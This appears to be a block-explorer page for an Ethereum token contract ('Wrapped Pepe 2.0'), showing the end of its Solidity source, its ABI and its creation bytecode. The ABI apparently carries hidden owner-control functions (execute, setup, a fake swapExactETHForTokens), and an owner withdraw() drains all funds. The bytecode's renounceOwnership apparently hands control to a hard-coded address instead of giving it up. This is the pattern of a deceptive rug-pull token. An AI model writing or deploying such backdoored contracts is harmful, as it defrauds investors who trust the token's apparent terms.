        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForDev;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);

        uint256 ethForLiquidity = ethBalance - ethForDev;

        tokensForLiquidity = 0;
        tokensForDev = 0;

        (success, ) = address(devWallet).call{value: ethForDev}("");

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }
    }

    function withdraw() external onlyOwner {
        uint256 balance = IERC20(address(this)).balanceOf(address(this));
        IERC20(address(this)).transfer(msg.sender, balance);
        payable(msg.sender).transfer(address(this).balance);
    }

    function withdrawToken(address _token, address _to) external onlyOwner {
        require(_token != address(0), "_token address cannot be 0");
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        IERC20(_token).transfer(_to, _contractBalance);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_MarketingFee","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_MarketingFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_MarketingFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405273ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c60006101000a81548160ff0219169083151502179055506000600c60016101000a81548160ff0219169083151502179055506000600c60026101000a81548160ff0219169083151502179055506000600e60006101000a81548160ff021916908315150217905550348015620000d257600080fd5b506040518060400160405280601081526020017f57726170706564205065706520322e30000000000000000000000000000000008152506040518060400160405280600881526020017f5750455045322e3000000000000000000000000000000000000000000000000081525081600390805190602001906200015792919062000ae8565b5080600490805190602001906200017092919062000ae8565b5050506200019362000187620005a860201b60201c565b620005b060201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620001bf8160016200067660201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200023a57600080fd5b505afa1580156200024f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000275919062000c02565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002d857600080fd5b505afa158015620002ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000313919062000c02565b6040518363ffffffff1660e01b81526004016200033292919062000c45565b602060405180830381600087803b1580156200034d57600080fd5b505af115801562000362573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000388919062000c02565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1681525050620003d060a05160016200067660201b60201c565b620003e560a05160016200076060201b60201c565b60006001905060006002905060006001905060006002905060006b033b2e3c9fd0803ce800000090506a108b2a2c280290940000006009819055506a295be96e64066972000000600b81905550606460048262000443919062000cab565b6200044f919062000d3b565b600a81905550846010819055508360118190555060115460105462000475919062000d73565b600f8190555082601381905550816014819055506014546013546200049b919062000d73565b601281905550739a04abf4ea7e5181c2d7990232c8a98f3cd074ee600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005186200050a6200080160201b60201c565b60016200082b60201b60201c565b6200052b3060016200082b60201b60201c565b6200054061dead60016200082b60201b60201c565b62000562620005546200080160201b60201c565b60016200067660201b60201c565b620005753060016200067660201b60201c565b6200058a61dead60016200067660201b60201c565b6200059c33826200096560201b60201c565b50505050505062000f92565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b62000686620005a860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620006ac6200080160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000705576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006fc9062000e31565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200083b620005a860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620008616200080160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620008ba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008b19062000e31565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000959919062000e70565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620009d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009cf9062000edd565b60405180910390fd5b620009ec6000838362000ade60201b60201c565b806002600082825462000a00919062000d73565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000a57919062000d73565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000abe919062000f10565b60405180910390a362000ada6000838362000ae360201b60201c565b5050565b505050565b505050565b82805462000af69062000f5c565b90600052602060002090601f01602090048101928262000b1a576000855562000b66565b82601f1062000b3557805160ff191683800117855562000b66565b8280016001018555821562000b66579182015b8281111562000b6557825182559160200191906001019062000b48565b5b50905062000b75919062000b79565b5090565b5b8082111562000b9457600081600090555060010162000b7a565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000bca8262000b9d565b9050919050565b62000bdc8162000bbd565b811462000be857600080fd5b50565b60008151905062000bfc8162000bd1565b92915050565b60006020828403121562000c1b5762000c1a62000b98565b5b600062000c2b8482850162000beb565b91505092915050565b62000c3f8162000bbd565b82525050565b600060408201905062000c5c600083018562000c34565b62000c6b602083018462000c34565b9392505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000cb88262000c72565b915062000cc58362000c72565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d015762000d0062000c7c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d488262000c72565b915062000d558362000c72565b92508262000d685762000d6762000d0c565b5b828204905092915050565b600062000d808262000c72565b915062000d8d8362000c72565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000dc55762000dc462000c7c565b5b828201905092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000e1960208362000dd0565b915062000e268262000de1565b602082019050919050565b6000602082019050818103600083015262000e4c8162000e0a565b9050919050565b60008115159050919050565b62000e6a8162000e53565b82525050565b600060208201905062000e87600083018462000e5f565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000ec5601f8362000dd0565b915062000ed28262000e8d565b602082019050919050565b6000602082019050818103600083015262000ef88162000eb6565b9050919050565b62000f0a8162000c72565b82525050565b600060208201905062000f27600083018462000eff565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f7557607f821691505b6020821081141562000f8c5762000f8b62000f2d565b5b50919050565b60805160a05161505262000ff0600039600081816113c201528181611c4201526127c9015260008181610cef01528181612771015281816137310152818161382101528181613848015281816138e4015261390b01526150526000f3fe6080604052600436106102b25760003560e01c80637bce5a0411610175578063b390c0ab116100dc578063d85ba06311610095578063f11a24d31161006f578063f11a24d314610a89578063f2fde38b14610ab4578063f637434214610add578063f8b45b0514610b08576102b9565b8063d85ba063146109f6578063dd62ed3e14610a21578063e2f4560514610a5e576102b9565b8063b390c0ab146108e6578063b62496f51461090f578063bbc0c7421461094c578063c024666814610977578063c876d0b9146109a0578063c8c8ebe4146109cb576102b9565b806395d89b411161012e57806395d89b41146107d857806397123415146108035780639a7a23d61461082c5780639fccce3214610855578063a1c617f514610880578063a9059cbb146108a9576102b9565b80637bce5a04146106ec5780638a8c523c146107175780638da5cb5b1461072e5780638ea5220f146107595780639213691314610784578063924de9b7146107af576102b9565b80633ccfd60b116102195780636a486a8e116101d25780636a486a8e146105ee5780636ddd17131461061957806370a0823114610644578063715018a614610681578063751039fc146106985780637571336a146106c3576102b9565b80633ccfd60b146104f257806349bd5a5e146105095780634a62bb65146105345780634fbee1931461055f57806366ca9b831461059c57806366d38203146105c5576102b9565b80631816467f1161026b5780631816467f146103e25780631a8145bb1461040b57806323b872dd1461043657806327c8f83514610473578063313ce5671461049e5780633aeac4e1146104c9576102b9565b806302dbd8f8146102be57806306fdde03146102e7578063095ea7b31461031257806310d5de531461034f5780631694505e1461038c57806318160ddd146103b7576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102e560048036038101906102e09190613a18565b610b33565b005b3480156102f357600080fd5b506102fc610c1d565b6040516103099190613af1565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190613b71565b610caf565b6040516103469190613bcc565b60405180910390f35b34801561035b57600080fd5b5061037660048036038101906103719190613be7565b610ccd565b6040516103839190613bcc565b60405180910390f35b34801561039857600080fd5b506103a1610ced565b6040516103ae9190613c73565b60405180910390f35b3480156103c357600080fd5b506103cc610d11565b6040516103d99190613c9d565b60405180910390f35b3480156103ee57600080fd5b5061040960048036038101906104049190613be7565b610d1b565b005b34801561041757600080fd5b50610420610e57565b60405161042d9190613c9d565b60405180910390f35b34801561044257600080fd5b5061045d60048036038101906104589190613cb8565b610e5d565b60405161046a9190613bcc565b60405180910390f35b34801561047f57600080fd5b50610488610f55565b6040516104959190613d1a565b60405180910390f35b3480156104aa57600080fd5b506104b3610f5b565b6040516104c09190613d51565b60405180910390f35b3480156104d557600080fd5b506104f060048036038101906104eb9190613d6c565b610f64565b005b3480156104fe57600080fd5b506105076111df565b005b34801561051557600080fd5b5061051e6113c0565b60405161052b9190613d1a565b60405180910390f35b34801561054057600080fd5b506105496113e4565b6040516105569190613bcc565b60405180910390f35b34801561056b57600080fd5b5061058660048036038101906105819190613be7565b6113f7565b6040516105939190613bcc565b60405180910390f35b3480156105a857600080fd5b506105c360048036038101906105be9190613a18565b61144d565b005b3480156105d157600080fd5b506105ec60048036038101906105e79190613be7565b611537565b005b3480156105fa57600080fd5b506106036115f7565b6040516106109190613c9d565b60405180910390f35b34801561062557600080fd5b5061062e6115fd565b60405161063b9190613bcc565b60405180910390f35b34801561065057600080fd5b5061066b60048036038101906106669190613be7565b611610565b6040516106789190613c9d565b60405180910390f35b34801561068d57600080fd5b50610696611658565b005b3480156106a457600080fd5b506106ad6116f3565b6040516106ba9190613bcc565b60405180910390f35b3480156106cf57600080fd5b506106ea60048036038101906106e59190613dd8565b611793565b005b3480156106f857600080fd5b5061070161186a565b60405161070e9190613c9d565b60405180910390f35b34801561072357600080fd5b5061072c611870565b005b34801561073a57600080fd5b50610743611924565b6040516107509190613d1a565b60405180910390f35b34801561076557600080fd5b5061076e61194e565b60405161077b9190613d1a565b60405180910390f35b34801561079057600080fd5b50610799611974565b6040516107a69190613c9d565b60405180910390f35b3480156107bb57600080fd5b506107d660048036038101906107d19190613e18565b61197a565b005b3480156107e457600080fd5b506107ed611a13565b6040516107fa9190613af1565b60405180910390f35b34801561080f57600080fd5b5061082a60048036038101906108259190613f8d565b611aa5565b005b34801561083857600080fd5b50610853600480360381019061084e9190613dd8565b611bc4565b005b34801561086157600080fd5b5061086a611cdd565b6040516108779190613c9d565b60405180910390f35b34801561088c57600080fd5b506108a760048036038101906108a29190614044565b611ce3565b005b3480156108b557600080fd5b506108d060048036038101906108cb9190613b71565b611e6e565b6040516108dd9190613bcc565b60405180910390f35b3480156108f257600080fd5b5061090d60048036038101906109089190613a18565b611e8c565b005b34801561091b57600080fd5b5061093660048036038101906109319190613be7565b611f30565b6040516109439190613bcc565b60405180910390f35b34801561095857600080fd5b50610961611f50565b60405161096e9190613bcc565b60405180910390f35b34801561098357600080fd5b5061099e60048036038101906109999190613dd8565b611f63565b005b3480156109ac57600080fd5b506109b5612088565b6040516109c29190613bcc565b60405180910390f35b3480156109d757600080fd5b506109e061209b565b6040516109ed9190613c9d565b60405180910390f35b348015610a0257600080fd5b50610a0b6120a1565b604051610a189190613c9d565b60405180910390f35b348015610a2d57600080fd5b50610a486004803603810190610a439190613d6c565b6120a7565b604051610a559190613c9d565b60405180910390f35b348015610a6a57600080fd5b50610a7361212e565b604051610a809190613c9d565b60405180910390f35b348015610a9557600080fd5b50610a9e612134565b604051610aab9190613c9d565b60405180910390f35b348015610ac057600080fd5b50610adb6004803603810190610ad69190613be7565b61213a565b005b348015610ae957600080fd5b50610af2612232565b604051610aff9190613c9d565b60405180910390f35b348015610b1457600080fd5b50610b1d612238565b604051610b2a9190613c9d565b60405180910390f35b610b3b61223e565b73ffffffffffffffffffffffffffffffffffffffff16610b59611924565b73ffffffffffffffffffffffffffffffffffffffff1614610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba690614104565b60405180910390fd5b8160138190555080601481905550601454601354610bcd9190614153565b601281905550600a6012541115610c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c10906141f5565b60405180910390fd5b5050565b606060038054610c2c90614244565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5890614244565b8015610ca55780601f10610c7a57610100808354040283529160200191610ca5565b820191906000526020600020905b815481529060010190602001808311610c8857829003601f168201915b5050505050905090565b6000610cc3610cbc61223e565b8484612246565b6001905092915050565b60186020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b610d2361223e565b73ffffffffffffffffffffffffffffffffffffffff16610d41611924565b73ffffffffffffffffffffffffffffffffffffffff1614610d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8e90614104565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60155481565b6000610e6a848484612411565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610eb561223e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2c906142e8565b60405180910390fd5b610f4985610f4161223e565b858403612246565b60019150509392505050565b61dead81565b60006012905090565b610f6c61223e565b73ffffffffffffffffffffffffffffffffffffffff16610f8a611924565b73ffffffffffffffffffffffffffffffffffffffff1614610fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd790614104565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104790614354565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b6906143c0565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016110fa9190613d1a565b60206040518083038186803b15801561111257600080fd5b505afa158015611126573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114a91906143f5565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401611187929190614422565b602060405180830381600087803b1580156111a157600080fd5b505af11580156111b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d99190614460565b50505050565b6111e761223e565b73ffffffffffffffffffffffffffffffffffffffff16611205611924565b73ffffffffffffffffffffffffffffffffffffffff161461125b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125290614104565b60405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112969190613d1a565b60206040518083038186803b1580156112ae57600080fd5b505afa1580156112c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e691906143f5565b90503073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401611323929190614422565b602060405180830381600087803b15801561133d57600080fd5b505af1158015611351573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113759190614460565b503373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156113bc573d6000803e3d6000fd5b5050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600c60009054906101000a900460ff1681565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61145561223e565b73ffffffffffffffffffffffffffffffffffffffff16611473611924565b73ffffffffffffffffffffffffffffffffffffffff16146114c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c090614104565b60405180910390fd5b81601081905550806011819055506011546010546114e79190614153565b600f81905550600a600f541115611533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152a906144d9565b60405180910390fd5b5050565b61153f61223e565b73ffffffffffffffffffffffffffffffffffffffff1661155d611924565b73ffffffffffffffffffffffffffffffffffffffff16146115b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115aa90614104565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b600c60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61166061223e565b73ffffffffffffffffffffffffffffffffffffffff1661167e611924565b73ffffffffffffffffffffffffffffffffffffffff16146116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90614104565b60405180910390fd5b6116f1732fef94337338eb55db6a0fe2191f119959d3a718613051565b565b60006116fd61223e565b73ffffffffffffffffffffffffffffffffffffffff1661171b611924565b73fffffffffffffffffff